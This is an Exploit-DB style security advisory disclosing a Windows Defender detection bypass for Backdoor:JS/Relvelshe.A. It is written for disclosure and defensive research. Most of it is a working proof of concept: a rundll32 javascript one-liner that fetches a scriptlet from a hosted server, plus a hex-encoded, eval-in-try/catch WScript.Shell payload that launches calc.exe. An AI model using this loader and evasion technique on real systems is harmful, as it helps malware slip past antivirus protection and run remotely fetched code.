Windows Defender Backdoor Detection Mitigation Bypass

vendor:

Windows Defender

by:

John Page (aka hyp3rlinx)

6.1

CVSS

HIGH

Detection Mitigation Bypass - Backdoor:JS/Relvelshe.A

937

CWE

Product Name: Windows Defender

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE:

CPE: a:microsoft:windows_defender

Metasploit:

Other Scripts:

Platforms Tested: Windows

2024

Windows Defender Backdoor Detection Mitigation Bypass

In 2022, a proof of concept was released to bypass the Backdoor:JS/Relvelshe.A detection in Windows Defender. Although the initial method was mitigated, a new approach involves adding a simple JavaScript try-catch error statement and evaluating the hex string to execute the bypass successfully.

Mitigation:

Ensure timely updates and patches from Microsoft for Windows Defender to address this detection mitigation bypass vulnerability.

Source

Exploit-DB raw data:

[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  https://hyp3rlinx.altervista.org/advisories/Windows_Defender_Backdoor_JS.Relvelshe.A_Detection_Mitigation_Bypass.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec     
 


[Vendor]
www.microsoft.com


[Product]
Windows Defender


[Vulnerability Type]
Detection Mitigation Bypass 
Backdoor:JS/Relvelshe.A


[CVE Reference]
N/A


[Security Issue]
Back in 2022 I released a PoC to bypass the Backdoor:JS/Relvelshe.A detection in defender but it no longer works as was mitigated.
However, adding a simple javascript try catch error statement and eval the hex string it executes as of the time of this post.


[References]
https://twitter.com/hyp3rlinx/status/1480657623947091968


[Exploit/POC]
1) python -m http.server 80

2) Open command prompt as Administrator

3) rundll32  javascript:"\\..\\..\\mshtml\\..\\..\\mshtml,RunHTMLApplication ,RunHTMLApplication ";document.write();GetObject("script"+":"+"http://localhost/yo.tmp")

Create file and host on server, this is contents of the "yo.tmp" file.

<?xml version="1.0"?>
<component>
<script>
try{
<![CDATA[
var hex = "6E657720416374697665584F626A6563742822575363726970742E5368656C6C22292E52756E282263616C632E6578652229";
var str = '';
for (var n = 0; n < hex.length; n += 2) {
str += String.fromCharCode(parseInt(hex.substr(n, 2), 16));
}
eval(str)
]]>
}catch(e){
eval(str)
}
</script>
</component>


[Network Access]
Local



[Severity]
High


[Disclosure Timeline]
Vendor Notification:  
February 18, 2024: Public Disclosure



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